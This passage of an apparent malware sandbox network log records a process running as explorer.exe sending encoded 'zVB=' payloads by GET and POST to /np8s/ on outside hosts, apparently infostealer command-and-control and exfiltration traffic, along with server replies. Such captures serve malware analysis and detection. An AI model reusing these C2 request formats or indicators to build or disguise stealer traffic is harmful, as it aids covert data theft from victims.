zkFPXBgXGnyXivEb18nNZ9upOcINHGC_C4s0Enn6OeF53mXgJzuRkEhH4E3uOILS5DSParHctu7s9iPgF3rhksQ25b~R8PM1YM26jLjqQv4j8mtWtUhLfTOOo9eajo3OOR8wZuhAC7rs7ZniMu0ad3jmcMCIoUCUqr7OsDiX0dhkXLQo~cp5ctWAWm4_pIGBLxaRv2(p1iYimftPxihhr4DgRv~s8FOnwUpUQwdXeVSgbmlXzPbzwY9VFhu8ZsDX7IAn7biIf0HKABD8Pg7CfNElUWQFrHDz~9GqJhQfjXAybsglL5rsa4PgH2p6ug5n01E78KFfGVlfMXMOEA7TrKrZD9UmxJF6OOz1tHE42tGKQwgen-o2EZKfpMazMPzem_gq~VG1u2ZTM8wnOd9pOQKwJhUmGSlge5ZY7AUeOuBjN1sScvSlVKqbURYPKxNECwTugKEFbCz9(SPq8lrbLfwXE9oWIW8aq4(PsjVnx-2f~bo0UE8NZMeHblN8wwGk
May 27, 2022 18:43:35.197756052 CEST	9591	OUT	Data Raw: 34 33 54 5a 71 44 46 7a 50 6b 67 45 7a 35 55 5a 79 4a 44 32 33 51 44 59 38 39 6e 41 56 51 77 33 71 52 77 38 39 49 4e 54 75 32 49 52 77 4b 4f 4b 38 61 67 53 61 4c 6c 55 71 39 55 6e 50 6e 76 66 47 77 43 69 4c 65 4b 53 4f 79 4d 36 53 78 6a 28 58 4f Data Ascii: 43TZqDFzPkgEz5UZyJD23QDY89nAVQw3qRw89INTu2IRwKOK8agSaLlUq9UnPnvfGwCiLeKSOyM6Sxj(XO8Kc5OQPJ26TGmKsvfcqag6pSRUFwe4YbmMih1Eympgb9Qz2D6SEg7JuB-5qM8KsybBHq7BxzANsjuVx5jPWYfZltRui121ZoHDCkwKAFDXRab3wQ49LMi3_v5rn2eFwAH0kz-JjK-JpLAA4cA8uRxWh1u3Kv-2IPf
May 27, 2022 18:43:35.197786093 CEST	9592	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 27 May 2022 16:43:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 61 36 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a6<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0
May 27, 2022 18:43:35.197823048 CEST	9599	OUT	Data Raw: 6e 76 32 63 31 47 46 56 71 37 59 34 63 44 53 77 2d 47 31 61 53 34 71 4d 5f 4e 6b 4e 32 42 31 46 6a 66 7a 61 58 55 4f 36 37 54 2d 64 53 34 78 4b 64 56 42 53 4d 78 45 71 44 47 45 75 61 33 31 33 6c 4c 4f 57 4d 4e 7a 47 38 50 64 6f 34 33 50 49 59 4f Data Ascii: nv2c1GFVq7Y4cDSw-G1aS4qM_NkN2B1FjfzaXUO67T-dS4xKdVBSMxEqDGEua313lLOWMNzG8Pdo43PIYOEXS5DJEg7S7usEm71w7MAkBIVlI0X5jetw6PPcA4cdKF31VG2WeC79FqH5RcrvddyaIBlzjZkAG5Uio(i4GCzuBSPNGafpsS-D6iC31~Xh01v1OdYkFsaWBaO6PUQESITLYyAfuc01StXgqCBIebtMzYBV4kGY-MO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49903	185.134.245.113	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:35.198582888 CEST	9600	OUT	GET /np8s/?4hM4=o4B0f&zVB=uZkZa9PDR+t76IUsjgXNksX18rdkaBR0jzgf+2QyrrE0BTZPOy5IBVEfZpk90w8gWC7R HTTP/1.1 Host: www.localbloom.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:43:35.242239952 CEST	9602	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 May 2022 16:43:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Fri, 27 May 2022 17:43:35 GMT Cache-Control: max-age=3600 Cache-Control: public Data Raw: 65 33 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f 6d 2e 6f 6e 6c 69 6e 65 20 69 73 20 70 61 72 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 0a 2a 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 3b 7d 0a 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 63 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 74 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 68 31 20 7b 0a 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 61 75 74 6f 20 32 30 70 78 20 31 30 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 33 34 39 38 64 62 3b 0a 7d 0a 0a 70 20 7b 0a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 32 30 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 61 75 74 6f 20 33 30 70 78 20 31 30 70 78 20 33 30 70 78 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 69 6e 2d 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 31 35 25 20 61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b 0a 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0a 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 69 6d 67 2e 6c 6f 67 6f 20 7b 0a 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 20 35 30 70 78 3b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 0a 2e 6c 6f 67 6f 63 6f 6e 74 20 7b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 6c 61 6e 67 73 65 6c 65 63 74 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 20 31 30 70 78 3b 0a 72 69 67 68 74 3a 20 31 30 70 78 3b 0a 7d 0a 0a 2e 6c 61 6e 67 73 65 6c 65 63 74 20 69 6d 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 62 6f 72 64 65 72 3a 20 30 3b 0a 6d 61 72 67 69 6e 3a 20 32 70 78 3b 0a 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 66 6f 6f 74 65 72 20 7b 0a 63 6f 6c 6f 72 3a 20 23 61 61 61 3b 0a 6d 61 72 67 69 6e 3a 20 31 65 6d 20 61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 70 74 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 0a 7d 0a 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a Data Ascii: e3f<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>www.localbloom.online is parked</title> <style>* {margin: 0;padding: 0;}body {background: #ccc;font-family: Arial, Helvetica, sans-serif;font-size: 11pt;text-align: center;}h1 {margin: 10px auto 20px 10px;color: #3498db;}p {display: inline-block;min-width: 200px;margin: auto 30px 10px 30px;}.container {position: relative;text-align: left;min-height: 200px;max-width: 800px;min-width: 450px;margin: 15% auto 0px auto;background: #FFFFFF;border-radius: 20px;padding: 20px;box-sizing: border-box;}img.logo {width: auto;max-height: 50px;margin-top: 30px;border: 0;}.logocont {text-align: center;}.langselect {position: absolute;top: 10px;right: 10px;}.langselect img {position: relative;width: auto;border: 0;margin: 2px;height: 15px;}.footer {color: #aaa;margin: 1em auto 0px auto;font-size: 8pt;text-align: center;min-width: 450px;} </style></head><body>
May 27, 2022 18:43:35.242264032 CEST	9603	IN	Data Raw: 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 68 20 3d 20 7b 0a 27 65 6e 27 3a 27 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f 6d 2e 6f 6e 6c 69 6e 65 20 69 73 20 70 61 72 6b 65 64 27 2c 0a 27 6e 6f 27 3a 27 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f 6d 2e 6f 6e Data Ascii: <script>var h = {'en':'www.localbloom.online is parked','no':'www.localbloom.online er parkert','sv':'www.localbloom.online r parkerad'};var u = {'en': 'www.domainnameshop.com/','no': 'www.domeneshop.no/','sv': 'www.domainnameshop.
May 27, 2022 18:43:35.242296934 CEST	9604	IN	Data Raw: 3e 0a 20 20 20 20 3c 68 31 20 69 64 3d 22 74 22 3e 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f 6d 2e 6f 6e 6c 69 6e 65 20 69 73 20 70 61 72 6b 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 70 20 20 69 64 3d 22 6d 22 3e 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f Data Ascii: > <h1 id="t">www.localbloom.online is parked</h1> <p id="m">www.localbloom.online is registered, but the owner currently does not have an active website here. <br>Other services, such as e-mail, may be actively used by the owner.<br><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49904	52.17.85.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:40.479224920 CEST	9606	OUT	POST /np8s/ HTTP/1.1 Host: www.brawlhallacodestore.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.brawlhallacodestore.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.brawlhallacodestore.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 64 68 78 6f 49 54 6a 33 67 6d 68 49 79 5a 4c 45 71 4b 6b 50 56 61 65 6f 58 59 48 59 4d 6c 74 7a 67 66 43 76 6d 4e 74 68 53 42 54 78 62 4a 4f 61 63 6e 74 51 62 67 4d 70 6a 75 62 61 7a 65 43 72 38 34 34 6c 55 54 49 50 58 51 32 7a 45 32 4f 4a 6a 30 6d 2d 48 63 53 52 6d 33 52 6f 72 66 71 79 56 7a 42 49 31 6a 68 4a 6e 56 50 6c 4c 36 64 33 4b 34 53 4f 30 74 74 32 77 58 54 6c 46 62 4c 62 42 36 46 71 51 51 6b 46 6a 6d 4b 49 58 64 39 37 51 63 57 4a 73 7a 7e 75 73 47 61 31 6f 66 45 44 53 58 7e 79 4b 42 28 5a 61 78 63 58 55 74 44 72 44 6d 52 5a 57 58 73 71 73 36 32 69 6e 57 74 5f 32 49 7e 59 4e 59 28 70 4a 76 7a 4f 5a 52 70 33 34 78 49 30 73 50 7e 57 6d 76 34 71 62 70 51 4f 38 49 4a 48 4a 75 63 30 42 73 6e 4a 71 39 33 55 78 45 4a 39 38 58 4e 73 31 4e 36 72 46 47 66 6e 61 61 6e 35 48 61 6e 2d 78 6f 43 6e 41 65 36 71 6d 33 38 4d 34 57 4c 38 33 35 33 65 78 4d 4f 4a 78 38 62 6e 64 61 68 4f 39 43 63 68 4d 75 59 6f 6e 49 4d 36 32 2d 59 68 45 66 6b 55 37 77 79 6e 43 62 4c 73 57 71 68 6c 6f 73 31 6d 4f 31 57 30 30 39 4c 55 4e 36 68 6c 41 34 59 4c 4d 30 67 4b 37 38 70 30 70 4c 68 32 56 63 6d 44 69 38 76 68 42 74 49 62 49 71 7a 6c 53 77 72 58 54 38 77 61 58 65 62 66 53 50 31 79 6b 57 4b 4f 51 2d 28 75 62 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=dhxoITj3gmhIyZLEqKkPVaeoXYHYMltzgfCvmNthSBTxbJOacntQbgMpjubazeCr844lUTIPXQ2zE2OJj0m-HcSRm3RorfqyVzBI1jhJnVPlL6d3K4SO0tt2wXTlFbLbB6FqQQkFjmKIXd97QcWJsz~usGa1ofEDSX~yKB(ZaxcXUtDrDmRZWXsqs62inWt_2I~YNY(pJvzOZRp34xI0sP~Wmv4qbpQO8IJHJuc0BsnJq93UxEJ98XNs1N6rFGfnaan5Han-xoCnAe6qm38M4WL8353exMOJx8bndahO9CchMuYonIM62-YhEfkU7wynCbLsWqhlos1mO1W009LUN6hlA4YLM0gK78p0pLh2VcmDi8vhBtIbIqzlSwrXT8waXebfSP1ykWKOQ-(ubQ).
May 27, 2022 18:43:40.524821997 CEST	9607	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 27 May 2022 16:43:40 GMT Content-Type: text/html Content-Length: 178 Connection: close Location: https://www.brawlhallacodestore.com/np8s/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49905	52.17.85.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:40.558265924 CEST	9620	OUT	POST /np8s/ HTTP/1.1 Host: www.brawlhallacodestore.com Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.brawlhallacodestore.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.brawlhallacodestore.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 64 68 78 6f 49 52 47 73 39 46 6c 6a 38 73 54 33 72 63 78 47 65 4c 75 71 52 6f 44 64 4a 68 6c 61 6b 74 32 37 69 50 30 5a 54 45 58 76 66 35 37 36 4b 51 42 49 62 68 52 69 37 4e 76 67 30 2d 4f 6f 38 34 67 66 55 54 38 50 55 54 32 6a 45 52 4b 6e 69 58 4f 78 46 38 54 30 6e 33 51 75 39 61 79 50 56 7a 4d 64 31 67 42 5a 79 31 62 6c 4b 5a 31 33 62 62 4b 4a 36 74 74 34 34 33 43 38 4b 37 47 78 42 37 74 69 51 52 59 46 6a 57 4f 49 58 39 74 6b 45 72 43 4b 68 44 7e 72 70 47 61 73 6d 4f 35 77 53 58 7a 56 4b 42 7a 5a 61 43 6f 58 53 2d 37 72 46 58 52 61 43 58 73 76 6d 61 33 67 77 47 67 6a 32 49 69 71 4e 61 54 66 49 66 33 4f 49 78 70 79 70 53 5a 42 28 49 66 55 6b 72 35 43 62 70 63 6a 38 5a 55 59 4a 76 77 55 47 62 65 68 6f 62 6a 36 78 47 6c 62 77 58 4d 6c 36 74 37 70 46 47 66 68 61 61 6e 48 48 62 58 2d 78 76 32 6e 47 61 61 71 76 52 49 50 6e 57 4c 35 68 4a 32 44 31 4d 4c 6f 78 38 43 70 64 65 34 56 38 78 6f 68 57 62 38 6f 32 4e 67 35 7e 75 59 6a 46 66 6b 63 6b 41 79 6f 43 62 4c 46 57 76 4e 31 76 62 39 6d 63 33 7e 30 7a 65 6a 55 50 4b 68 6c 65 6f 59 4a 43 6b 74 58 37 38 78 77 70 4c 51 44 56 72 7e 44 69 76 33 68 42 49 6b 62 4a 36 7a 6c 48 41 71 46 64 34 70 49 62 75 48 42 52 2d 6c 32 38 45 6a 67 47 4b 32 37 4f 46 67 46 7e 59 72 5a 34 66 64 45 49 4b 4d 55 43 51 30 64 6f 30 39 78 6d 56 79 31 64 4f 6e 6d 68 4c 7e 4f 74 4e 4e 6f 28 59 6c 34 4c 50 4e 4c 55 50 31 6f 6f 4c 54 33 4b 7a 6c 36 41 53 45 68 49 72 69 37 6c 59 44 5a 6a 73 45 67 75 4e 57 30 5a 49 69 47 48 69 76 58 59 59 6f 4a 31 65 47 70 30 52 39 77 45 4d 42 38 49 52 6f 31 56 37 4f 56 47 51 30 34 65 30 69 5a 34 36 37 67 28 77 37 55 4f 53 33 30 56 59 57 6d 35 6e 4f 6f 78 36 47 44 64 5f 75 55 74 78 65 54 48 31 42 39 53 6b 70 50 41 79 5a 36 38 5a 55 77 37 61 4b 56 44 56 75 5f 4b 58 58 46 67 48 47 6c 79 78 68 49 54 54 4e 48 42 73 7e 64 36 76 6e 44 36 43 63 51 6c 52 4b 73 73 35 58 42 47 68 4d 4d 42 4a 61 67 79 71 32 74 6a 65 58 4b 70 47 56 51 32 43 47 38 42 56 46 79 42 55 58 54 7e 51 6a 43 61 33 4e 45 76 61 42 44 43 73 33 4c 30 4f 62 4f 71 76 6d 4d 61 58 39 52 73 7a 4d 5a 33 6a 30 37 59 39 57 77 28 75 63 45 4a 6f 6d 38 52 6d 6e 36 73 36 37 4d 70 56 7e 63 72 68 48 57 69 73 31 54 7a 35 76 59 32 53 69 41 6e 72 50 51 4e 64 43 46 76 72 6d 6f 6b 50 31 58 6c 36 53 5f 5a 74 38 31 55 68 6c 63 4d 59 4c 4f 54 49 52 67 7e 67 52 78 74 66 79 77 6c 4f 61 7a 39 77 41 71 41 6e 4e 4a 6a 74 39 61 48 77 72 6c 64 72 4c 4a 42 41 4a 47 49 79 67 45 59 68 28 34 67 5a 36 4b 52 65 34 48 6a 31 46 30 75 42 6c 46 6a 78 52 4b 73 41 47 4b 71 34 68 34 33 36 77 42 72 35 55 57 46 61 46 4c 79 69 67 42 6f 68 6f 47 71 70 49 70 64 41 33 70 6e 46 45 50 77 64 74 58 30 49 41 38 79 4e 6c 45 52 53 72 77 4b 34 48 77 45 4a 6e 57 56 75 63 43 7e 77 36 31 71 46 4c 5f 6c 72 4f 54 73 41 32 43 78 52 36 54 49 55 46 77 6d 35 53 5f 47 4f 36 46 58 4c 61 6c 62 66 7e 56 37 6d 6a 76 64 5a 72 79 36 44 55 31 4a 4c 5a 56 51 72 6f 39 4a 67 44 37 76 49 54 52 56 36 70 52 56 54 51 46 47 6f 72 54 34 4c 31 6d 46 34 52 74 6c 46 54 46 35 78 75 65 33 36 63 34 6f 35 52 34 33 5f 45 46 67 32 73 72 62 6f 54 52 33 4b 47 5f 67 44 6c 66 28 67 44 63 52 53 59 63 6a 4c 58 50 35 36 46 5a 75 36 63 78 59 45 33 73 62 62 4c 55 28 46 33 7a 69 79 35 4e 51 56 35 6e 79 72 4c 2d 6b 33 65 68 6e 4b 35 65 47 2d 78 6c 73 47 63 4a 36 63 67 61 58 37 44 69 53 58 64 36 41 52 4a 74 7e 53 6d 71 33 58 43 37 71 38 78 51 52 55 69 4d 48 45 37 64 4f 35 6e 34 6c 34 62 52 43 7a 47 51 4f 4f 58 45 78 49 4b 79 72 63 46 50 32 5f 46 46 4c 39 44 49 4a 76 73 7a 44 6d 4e 39 55 54 6a 55 64 4d 48 41 31 4c 4d 73 61 66 69 39 50 76 4d 32 75 74 67 70 50 6c 41 50 52 68 53 46 4e 70 77 30 69 43 53 78 61 76 53 53 66 62 39 45 42 73 75 38 70 56 6f 2d 6d 7a 7a 4e 73 6c 39 35 67 71 4e 6d 58 50 59 4e 52 59 43 5f 78 72 4f 4f 35 4c 54 6e 4d 33 45 54 52 44 78 78 6e 34 49 45 51 64 33 59 4b 5a 67 48 31 4c 67 62 28 53 37 49 63 32 58 73 78 37 78 47 45 76 66 71 4c 54 7a 77 38 4e 36 54 28 47 61 42 79 36 6d 5f 52 73 6d 6d 62 77 68 69 56 35 72 6d 5a 6e 67 77 43 42 34 34 56 58 34 77 7e 6c 30 6c 76 74 46 5f 70 44 67 61 44 38 58 6b 76 47 4d 4c 34 37 54 5a 61 41 43 43 4a 42 62 52 34 35 4a 62 34 5a 35 44 58 34 69 42 63 72 75 Data Ascii: zVB=dhxoIRGs9Flj8sT3rcxGeLuqRoDdJhlakt27iP0ZTEXvf576KQBIbhRi7Nvg0-Oo84gfUT8PUT2jERKniXOxF8T0n3Qu9ayPVzMd1gBZy1blKZ13bbKJ6tt443C8K7GxB7tiQRYFjWOIX9tkErCKhD~rpGasmO5wSXzVKBzZaCoXS-7rFXRaCXsvma3gwGgj2IiqNaTfIf3OIxpypSZB(IfUkr5Cbpcj8ZUYJvwUGbehobj6xGlbwXMl6t7pFGfhaanHHbX-xv2nGaaqvRIPnWL5hJ2D1MLox8Cpde4V8xohWb8o2Ng5~uYjFfkckAyoCbLFWvN1vb9mc3~0zejUPKhleoYJCktX78xwpLQDVr~Div3hBIkbJ6zlHAqFd4pIbuHBR-l28EjgGK27OFgF~YrZ4fdEIKMUCQ0do09xmVy1dOnmhL~OtNNo(Yl4LPNLUP1ooLT3Kzl6ASEhIri7lYDZjsEguNW0ZIiGHivXYYoJ1eGp0R9wEMB8IRo1V7OVGQ04e0iZ467g(w7UOS30VYWm5nOox6GDd_uUtxeTH1B9SkpPAyZ68ZUw7aKVDVu_KXXFgHGlyxhITTNHBs~d6vnD6CcQlRKss5XBGhMMBJagyq2tjeXKpGVQ2CG8BVFyBUXT~QjCa3NEvaBDCs3L0ObOqvmMaX9RszMZ3j07Y9Ww(ucEJom8Rmn6s67MpV~crhHWis1Tz5vY2SiAnrPQNdCFvrmokP1Xl6S_Zt81UhlcMYLOTIRg~gRxtfywlOaz9wAqAnNJjt9aHwrldrLJBAJGIygEYh(4gZ6KRe4Hj1F0uBlFjxRKsAGKq4h436wBr5UWFaFLyigBohoGqpIpdA3pnFEPwdtX0IA8yNlERSrwK4HwEJnWVucC~w61qFL_lrOTsA2CxR6TIUFwm5S_GO6FXLalbf~V7mjvdZry6DU1JLZVQro9JgD7vITRV6pRVTQFGorT4L1mF4RtlFTF5xue36c4o5R43_EFg2srboTR3KG_gDlf(gDcRSYcjLXP56FZu6cxYE3sbbLU(F3ziy5NQV5nyrL-k3ehnK5eG-xlsGcJ6cgaX7DiSXd6ARJt~Smq3XC7q8xQRUiMHE7dO5n4l4bRCzGQOOXExIKyrcFP2_FFL9DIJvszDmN9UTjUdMHA1LMsafi9PvM2utgpPlAPRhSFNpw0iCSxavSSfb9EBsu8pVo-mzzNsl95gqNmXPYNRYC_xrOO5LTnM3ETRDxxn4IEQd3YKZgH1Lgb(S7Ic2Xsx7xGEvfqLTzw8N6T(GaBy6m_RsmmbwhiV5rmZngwCB44VX4w~l0lvtF_pDgaD8XkvGML47TZaACCJBbR45Jb4Z5DX4iBcruSlWaQ5Fi4bBdYLgjsfiIzNSF3grX85_hqh7ooH4mmx_oSG3~vPHU3Y7(wC5Z3vS9dtQYLnrt9yq~KVnQ630daxEvQtNBiKSv0~n17D-ty(RtkTANbP-1-SHRZdxnQhmtFRtAcvkHHuYfwI59QuHHVUYga0_1xgJtDi0cJOQBkLkLWtHeqencIFrN6UEwRX5bTOK2IPNjRdlKso1yrbL4UPwblaDAQ9KMbj2qPMShL~x~rfJyjExhqRRTrYmld(JUznV3mA-NlvK9ZpNQwooM5(BpLwySnM8TPc9BXOeBD2UubmHeSjS7W74Bck6l8zSC9pZzj8ZUxQ1C4ln~3qmi40bP_Rrr_g1hB3Y9OgdxUfr~dsRKP1vvLTsfwPUSIgj4vpCX9a9foRmYstWbYHsvv2uWSmzJpXiZFTht-mD69BXDg70OCPB2PSUu8Exie72VqENzdE97iEvBcpq1oKP7CFIR6Sn0fZzL9fcLV9MCzWFuuYSJXQx2ujkpbpZ2eS2jmy5kPoYO_IwgeBWE8161QldMey4kzjBpxtHjQB7XQ52MBNnDXUMhXzw6tCzuQVKbqXvyOOnRWa5gzsjQdIAYKRejiGIlbZcxXTU04NJegxGHDeHOuzIpVDijZCF9gekwqQB0_Q-QXmCCZ6mHxfBbfKdT_XldR1WhnBaOnSbMpBgXIVGFlFG0s5fAR0FQB3_HZ5NX_Z42z(QU8bfoDPixgUNekAcvqqFUXv7my7HMQIgk9w2fP00cfMUwD21io2blqlN67j8QAbLBSFEDrZUV_fCP4lAvkX3DG0M1gP5sVgvfseahBxcyPHu8WpmKGHMtxMm3k3wxonAvpTHe7J-YYn78hQ-Q0x0Emti6xn6QsmyFKnDEppL6q0UR13yhyA73eJo3-zne47H(dq4UJKp4hTwvMQeQ_XxwpKqLn(aA9DSLKcq76ReUV58fODNSUrvpGV3ju1SPhKqRYuOuRswqeRLWw4Dp8qjbp~Od1myax4nh_Zcb9fP3VFWkzgIF3XqVH3bj3iFwLFADpxEzNf0x_l4b2hhWrWO2qUapjczFctHfUP3JmUzbtzKcjn9TYyy63O0P7rkQoLib_WSMQp4~JG80pZNdvOSgu7BGSqAD4FZk5XnWJuRKwxY7bWxAhoRS5jjuNgUnXkGal1TNqPKNgdgPotBUNrv~ueOmJtMh8GK3sVhnmjkYcHYRMpbGw7uPNcWXESRnkb5uT6jIRkxX88cL-bBSu41XRQ6PKUsCaqgF3x5svfMvzvE(iJdtQ8RxDqTy706jq6xSa3X(MT6ZzNljvRAMDL3(3eKryi-QbN_gejM2lgslNjl1b10AffF3hfSrJXQ3yKwMtqc0cz-ajLmSA2qdfXSuTlyNjIqabvKNdXYJBrr7E1EviMYZ7GJATIZLLeiXd8ixMVW2OyZffEmuCSDLT8A8RSnzyAJ5fVHUs5l~PSkGv59VZQAdpOZ(MAZzCOfWAf-DYvtP24f2dlvqqgDAgahLj5NyykqnCPTv4L0Be6rEGxAQIQWjp7UNIl0G9n1EvoQdqf5ne6aNfxbMueBWHHx2KKNkjqfGKQVk-AyGdtZk1EefCYvNIbabksfsmH0EYZy1bn8xSitz7GT5_l92qTcT9guWTipnUuSKuGM(tuhVsS0I7SLRB3HihdGB71otZo9tTG5OIPGO4WpKtmtymMXY8sdCwFgrTBtwWhK~SSYFooNH-y-MrjllZ92fzaLZYj64KChcAetX2n8ZzAXZOcuJ9(O94qFjufr4uIjsYtiBEF0HNPdknWPEFLvM9W87wWtf16GeLBfL5lCzw0CX62sCajNBgb74JFCCront9iK1viK4RO8nUq-fnqOu_QZ4KKjnE0Q(syqBVjnRLWfIcd5WtRcAgbA1Rps4_qhrgPvXlTm9x5lQxy-v8WnFO5WrSr_~-rCJLbIEm0LlthkVDZ4